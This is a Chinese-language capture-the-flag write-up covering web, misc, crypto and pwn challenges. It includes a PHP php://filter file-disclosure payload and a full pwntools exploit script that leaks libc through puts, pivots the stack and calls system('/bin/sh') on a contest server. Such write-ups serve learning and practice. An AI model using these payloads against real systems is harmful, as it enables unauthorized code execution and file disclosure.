哎,第八,可惜去不了线下了,不过做做题还是挺爽的,就是太少了
Web
游戏or动漫
php include包含:
1
| page=php://filte/convert.base64-encode/resource=flag.php
|
再base64解密
植物大战僵尸
js小游戏,审计一下代码
抓包修改sunnum,改的非常大就行了
Misc
base
base64解密就行了
sandbeach
跟去年市赛简直一模一样。。。
拖进虚拟机,foremost分离出来一张照片和压缩包
压缩包解压需要密码,没爆出来
图片用010editor打开
修改样本精度,改成8就正常了
提取隐型水印
那这个当密码去解压压缩包
base32隐写解密得到flag
Crypto
ez_math_problem
解二元方程
1 2 3 4 5 6 7 8
| eq1 = Eq(p**5 - q**3, k) eq2 = Eq(p * q, n)
solutions = solve((eq1, eq2), (p, q)) p = solutions[0][0] q = solutions[0][1] print(p) print(q)
|
即可分解n
然后rsa解密即可
Pwn
just_read
直接返回read
的 ROP 链读取puts_got
里的puts
真实地址,上网查询该地址对应libc,得system等利用地址,同时修改了RBP
最后leave
实现栈迁移;迁移到的位置read
输入system
的 ROP 链,最后再次leave
栈迁移到system
的 ROP 链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| from pwn import *
p = remote('tcp.cloud.dasctf.com', 28345) elf = ELF("./pwn") libc = elf.libc
pop_rdi = 0x400723 leave = 0x400691 bss = 0x601040 + 0x600 read = 0x400675 vuln = 0x4006a6
payload = 'A'*0x40 payload += p64(bss+0x500) payload += p64(read) p.send(payload)
payload = p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(vuln) payload = payload.ljust(0x40, 'B') + p64(bss - 0x48) + p64(leave) p.send(payload)
puts = u64(p.recvuntil('\x7f')[-6:].ljust(0x8, '\x00')) print(puts) libcbase=puts-0x6f6a0 print(libcbase) system = libcbase + 0x453a0 binsh = libcbase + 0x18ce57
payload = 'A'*0x40 payload += p64(bss) + p64(read) p.send(payload)
payload = p64(pop_rdi+1)*2 + p64(pop_rdi) + p64(binsh) + p64(system) payload = payload.ljust(0x40, 'D') + p64(bss-0x48) + p64(leave) p.send(payload)
p.interactive()
|